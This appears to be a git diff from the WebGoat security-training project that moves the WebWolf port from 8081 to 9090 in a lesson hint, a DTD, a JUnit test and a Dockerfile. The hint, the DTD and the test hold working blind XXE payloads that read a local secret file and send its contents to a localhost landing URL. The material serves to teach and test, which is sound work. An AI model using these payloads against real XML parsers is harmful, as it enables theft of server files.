xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "http://localhost:9090/files/test1234/test.dtd">%remote;]><comment><text>test&send;</text></comment>
|
||||||
|
@ -1,5 +1,4 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!ENTITY % file SYSTEM "file:/home/nbaars/.webgoat-v8.0.0.M14/XXE/secret.txt">
|
<!ENTITY % file SYSTEM "file:/home/nbaars/.webgoat-v8.0.0.M14/XXE/secret.txt">
|
||||||
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>">
|
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>">
|
||||||
%all;
|
%all;
|
||||||
~
|
|
@ -37,7 +37,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
|||||||
private String webGoatHomeDirectory;
|
private String webGoatHomeDirectory;
|
||||||
|
|
||||||
@Rule
|
@Rule
|
||||||
public WireMockRule webwolfServer = new WireMockRule(8081);
|
public WireMockRule webwolfServer = new WireMockRule(9090);
|
||||||
|
|
||||||
@Before
|
@Before
|
||||||
public void setup() throws Exception {
|
public void setup() throws Exception {
|
||||||
@ -74,7 +74,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
|||||||
//Host DTD on WebWolf site
|
//Host DTD on WebWolf site
|
||||||
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||||
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
|
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
|
||||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" +
|
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>\">\n" +
|
||||||
"%all;";
|
"%all;";
|
||||||
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
|
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
|
||||||
.willReturn(aResponse()
|
.willReturn(aResponse()
|
||||||
@ -85,7 +85,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
|||||||
//Make the request from WebGoat
|
//Make the request from WebGoat
|
||||||
String xml = "<?xml version=\"1.0\"?>" +
|
String xml = "<?xml version=\"1.0\"?>" +
|
||||||
"<!DOCTYPE comment [" +
|
"<!DOCTYPE comment [" +
|
||||||
"<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" +
|
"<!ENTITY % remote SYSTEM \"http://localhost:9090/files/test.dtd\">" +
|
||||||
"%remote;" +
|
"%remote;" +
|
||||||
"]>" +
|
"]>" +
|
||||||
"<comment><text>test&send;</text></comment>";
|
"<comment><text>test&send;</text></comment>";
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
FROM openjdk:8-jre-slim
|
FROM openjdk:8-jre-slim
|
||||||
|
|
||||||
ARG webgoat_version=8.0-SNAPSHOT
|
ARG webgoat_version=v8.0.0.SNAPSHOT
|
||||||
|
|
||||||
RUN \
|
RUN \
|
||||||
apt-get update && apt-get install && \
|
apt-get update && apt-get install && \
|
||||||
|
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user